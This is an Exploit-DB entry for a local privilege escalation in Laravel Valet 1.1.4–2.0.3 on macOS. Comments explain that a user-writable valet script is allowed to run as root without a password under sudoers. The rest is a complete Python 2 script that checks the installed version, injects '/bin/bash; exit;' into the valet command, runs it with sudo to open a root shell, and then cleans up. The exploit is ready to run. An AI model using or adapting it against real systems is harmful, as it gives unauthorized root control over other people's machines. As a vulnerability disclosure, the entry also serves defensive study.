Exploit-DB #50591
Description: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)
Type: local
Platform: macos
Date: 2021-12-14
Author: leonjza

Exploit:
# Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)
# Exploit Author: leonjza
# Vendor Homepage: https://laravel.com/docs/8.x/valet
# Version: v1.1.4 to v2.0.3

#!/usr/bin/env python2

# Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS)
# February 2017 - @leonjza

# Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes.
# Reintroduced in v2.0.7 via the 'trust' command again.

# This bug got introduced when the sudoers files got added around
# commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].

# Effectively, when the valet command is installed, composer will symlink [2]
# the `valet` command to /usr/local/bin. This 'command' is writable by the user
# that installed it.
#
# ~ $ ls -lah $(which valet)
# lrwxr-xr-x  1 leonjza  admin    51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet

# Running `valet install`, will start the install [3] routine. The very first action
# taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which
# will prompt the user for the sudo password in the command line. From here (and in fact
# from any point where the valet tool uses sudo) the command can execute further commands
# as root without any further interaction needed by the user.
# With this 'sudo' access, the installer does it thing, and eventually installs two new
# sudoers rules for homebrew[5] and valet[6].

# ~ $ cat /etc/sudoers.d/*
# Cmnd_Alias BREW = /usr/local/bin/brew *
# %admin ALL=(root) NOPASSWD: BREW
# Cmnd_Alias VALET = /usr/local/bin/valet *
# %admin ALL=(root) NOPASSWD: VALET

# The problem with the sudoers rules now is the fact that a user controlled script
# (rememeber the valet command is writable to my user?) is allowed to be run with
# root privileges. More conveniently, without a password. So, to trivially privesc
# using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D

# Or, use this lame script you lazy sod.
#
# ~ $ sudo -k
# ~ $ python escalate.py
# * Shell written. Dropping into root shell
# bash-3.2# whoami
# root
# bash-3.2# exit
# exit
# * Cleaning up POC from valet command

# [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40
# [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39
# [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50
# [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133
# [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177
# [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46

import os
import subprocess

MIN_VERSION = "1.1.4"
MAX_VERSION = "2.0.3"
POC = "/bin/bash; exit;\n"


def run_shit_get_output(shit_to_run):
    return subprocess.Popen(shit_to_run, shell=True,
                            stderr=subprocess.PIPE, stdout=subprocess.PIPE)


def version_tuple(v):
    return tuple(map(int, (v.split("."))))


def get_valet():
    p = run_shit_get_output('which valet')
    lines = ''.join(p.stdout.readlines())

    if 'bin/valet' in lines:
        return lines.strip()

    return None


def get_valet_version(valet_location):
    p = run_shit_get_output(valet_location)
    v = p.stdout.read(25)

    return v.split("\n")[0].split(" ")[2]


def can_write_to_valet(valet_location):
    return os.access(valet_location, os.W_OK)


def cleanup_poc_from_command(command_location):
    with open(command_location, 'r') as vc:
        command_contents = vc.readlines()

    if command_contents[1] == POC:
        print('* Cleaning up POC from valet command')
        command_contents.pop(1)
        with open(command_location, 'w') as vc:
            vc.write(''.join(command_contents))

        return

    print('* Could not cleanup the valet command. Check it out manually!')
    return


def main():
    valet_command = get_valet()

    if not valet_command:
        print(' * The valet command could not be found. Bailing!')
        return

    # get the content so we can check if we already pwnd it
    with open(valet_command, 'r') as vc:
        command_contents = vc.readlines()

    # check that we havent already popped this thing
    if command_contents[1] == POC:
        print('* Looks like you already pwnd this. Dropping into shell anyways.')
        os.system('sudo ' + valet_command)
        cleanup_poc_from_command(valet_command)
        return

    current_version = get_valet_version(valet_command)

    # ensure we have a valid, exploitable version
    if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \
            or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)):
        print(' * Valet version {0} does not have this bug!'.format(current_version))
        return

    # check that we can write
    if not can_write_to_valet(valet_command):
        print('* Cant write to valet command at {0}. Bailing!'.format(valet_command))
        return

    # drop the poc line and write the new one
    command_contents.insert(1, POC)
    with open(valet_command, 'w') as vc:
        vc.write(''.join(command_contents))

    print('* Shell written. Dropping into root shell')

    # drop in the root shell :D
    os.system('sudo ' + valet_command)
    cleanup_poc_from_command(valet_command)


if __name__ == '__main__':
    main()